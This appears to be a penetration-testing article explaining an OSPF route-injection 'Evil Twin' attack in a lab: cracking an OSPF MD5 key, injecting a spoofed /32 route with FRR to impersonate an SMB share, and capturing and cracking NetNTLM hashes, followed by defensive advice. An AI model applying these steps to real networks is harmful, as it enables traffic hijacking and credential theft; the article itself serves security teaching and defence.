Nightmare Spoofing. Evil Twin attack over dynamic routing

OSPF principles

OSPF (Open Shortest Path First) is an intradomain dynamic routing protocol based on an algorithm conceived by Edsger W. Dijkstra. This is a link-state protocol, and the link state is analyzed during data transmission over OSPF. Based on the link state, OSPF structures routing tables, keeps them up-to-date, and automatically exchanges routing information with its neighbors. OSPF is an open standard supported by all network equipment vendors. Currently, this is the most popular intradomain routing protocol in production.

In this article, I refer to OSPF Version 2. Its characteristics are as follows:

• OSPF uses multicast IP address 224.0.0.5 to broadcast service information;
• supports IPv4;
• operates exclusively at the network level;
• uses LSA (link-state advertisement) messages;
• supports VLSM;
• features a high convergence level compared to distance vector protocols;
• computes the shortest-path tree (since it’s based on Dijkstra’s algorithm); and 
• uses the reference bandwidth / link bandwidth formula to estimate the route cost. The bandwidth constant is divided by the actual bandwidth rate. However, the reference bandwidth value can be changed.

What can impede an attacker?

The OSPF protocol is much more difficult to attack compared to its relatives – distance vector routing protocols (e.g. RIP or EIGRP). The main problems are as follows:

• OSPF AS can be divided into zones. Engineers can design an OSPF routing domain with multiple zones to reduce the load on routers’ computing resources. This must be taken into account in an OSPF routing domain, as well as the ability of packets to pass between these zones (e.g. if you intent to perform route injections); and 
• Presence of Hello packets. An attacker can connect to an OSPF routing domain only if the network admin hasn’t configured passive interfaces; their configuration makes it possible to disable the distribution of Hello packets at the level of advertised networks. If you don’t see OSPF packets in your network analyzer, this means that either there is no OSPF, or passive interfaces have been configured, and this dynamic routing domain cannot be attacked.

Interference in the routing process

To attack a dynamic routing domain, you need to connect directly to the routing process. You can do this using a real router (i.e. a piece of hardware) or FRR.

The first step is to activate FRR daemons. A separate daemon will be responsible for each protocol. I will use the ospfd and staticd daemons.

Prior to starting a daemon, I switch the network interface to the promiscuous mode, enable routing, and activate the NAT Helper (NFCONNTRACK).

Then I start the FRR daemon and check its status.

Using the vtysh command, I access the router control panel:

Test network

For testing purposes, I will use a three-level network. A separate segment (WAREHOUSE) is allocated for the SMB share, but in fact, this is just a distribution layer switch. There are also several virtual networks that are located on access level switches; while distribution level switches implement routing between these VLANs.

HSRPv2 ensures network fault tolerance. Starting from the distribution layer, I set up dynamic OSPF routing; everything is stored in the zero BACKBONE zone.

• 10.10.20.1 – Fake (VLAN 20) (Windows 10 LTSC);
• 10.10.30.1 – Boundless (VLAN 30) (Windows 10 LTSC);
• 10.10.50.2 – Attacker (VLAN 50) (Kali Linux);
• 10.10.50.100 – Dist-SW1 (HSRPv2 Active) (Cisco vIOS L2 Image);
• 10.10.50.101 – Dist-SW2 (HSRPv2 Standby) (Cisco vIOS L2 Image);
• 192.168.100.1 – SMB Share (Windows Server 2019 Standard).

Traffic analysis

First of all, I have to examine OSPF traffic to find out the zone ID, the presence of authentication, router-id, etc. From the OSPF Hello packet received from Dist-SW1 (10.10.50.100), I can see that the 0.0.0.0 null zone is used.

In addition, MD5 authentication is used. It prevents unauthenticated routers from joining the routing process. To connect to the OSPF network, you must know the key.

Bypassing authentication

The screenshot below shows some key characteristics. The key identifier (ID) is equal to 1.

To sniff a cryptographic MD5 hash, I use the Ettercap utility. Prior to running it, I enable the promiscuous mode.

I copy these hashes and brute-force them. By the way, it’s very convenient that the captured hashes are presented in the John the Ripper format.

The password has been successfully brute-forced: flatl1ne. Using this key, I can connect to the OSPF network.

Evil Twin and NetNTLM interception

Beginning the attack

The main idea of this attack is to redistribute a static route with the lowest metric into an OSPF network. This network will be used as a vector for false route injection. FRR makes it possible to operate with static routing and its redistribution, which releases me from the need to use discrete utilities (Loki, Scapy, etc.).

I am going to spoof the SMB Share host at 192.168.100.1/32 by injecting the address of the SMB share. This injection is a Type 5 LSA message; an LSU (link-state update) message will be generated; and then a legitimate router will accept my injection, add it to the routing table, and inform other neighbors of this announcement.

The administrative distance (AD) determines route preferability. The higher is its value, the less likely the route will be selected. In OSPF, the default AD value is 110.

Another factor is route cost. Using FRR, I am going to specify a zero-cost static route redistribution. The lower is this metric, the more preferable is the route. And since I specify the /32 mask during the injection, the chance that the injected route will be added to the routing table is very high. This is because the packet received by the router will go to the network with the largest mask (in the 192.168.100.1/32 via 10.10.50.2 route format).

Injection structure:

Where:

• 192.168.100.1 is the target server address;
• /32 is the subnet mask. It’s equivalent to 255.255.255.255; and 
• eth0 is the network interface of the attacker’s system. Accordingly, the address of the next hop will be my host.

Now I have to create a secondary address on the network interface equal to the address of the target SMB share since the traffic will come to my host via dst ip 192.168.100.1/32.

Now all traffic intended for this SMB share will go to my host. After that, I can deploy a simple SMB server using impacket and intercept encrypted user credentials (i.e. NetNTLM hashes) that can be subsequently brute-forced or relayed (NTLM Relay).

As a result, an Evil Twin attack will be delivered.

I deploy a share using Impacket and run the net-creds.py parser:

The attack begins, and I intercept plenty of NetNTLM hashes. Just look at this!

I try brute-forcing the password of this user.

The credentials are as follows: intervalsabove:viewfromabove. Terrific!

This is how you can intercept user credentials. By the way, NTLM Relay also works correctly.

Exercise caution when you interfere in the routing process! The above-described attack is extremely aggressive: when users go to some SMB share for their files, they won’t find nothing there. Since you’re spoofing this share, you might be able to deploy a copy of it. You will collect enough hashes pretty soon, and then you can stop the attack. It’s not recommended to procrastinate the exploitation; otherwise, legitimate employees would become upset, while your covert pentesting study won’t be a secret anymore.

Due to the high convergence rate in OSPF, once your injected route is deadvertised, the routing table structure will quickly return to its initial (i.e. before the attack) state. The convergence rate is four seconds. However, everything depends on the network size since all routers must update their tables. Again, exercise caution!

How to protect against Evil Twin?

Authentication

Use authentication to prevent unknown routers from connecting to autonomous dynamic routing systems. Just make sure that the authentication key is strong enough and cannot be easily brute-forced.

Below is an example of MD5 authentication configuration on Cisco IOS:

Use passive interfaces

Passive interfaces prohibit other interfaces from sending Hello packets, thus, preventing the pentester from connecting to the routing domain. Forever.

An example of passive interface configuration in Cisco IOS:

Conclusions

The above-described attack can be delivered against networks with misconfigured dynamic routing domains. Attackers can combine Evil Twin with phishing, which makes the attack even more dangerous. Hopefully, this article will be useful for pentesters and network admins who should patch such security holes ASAP.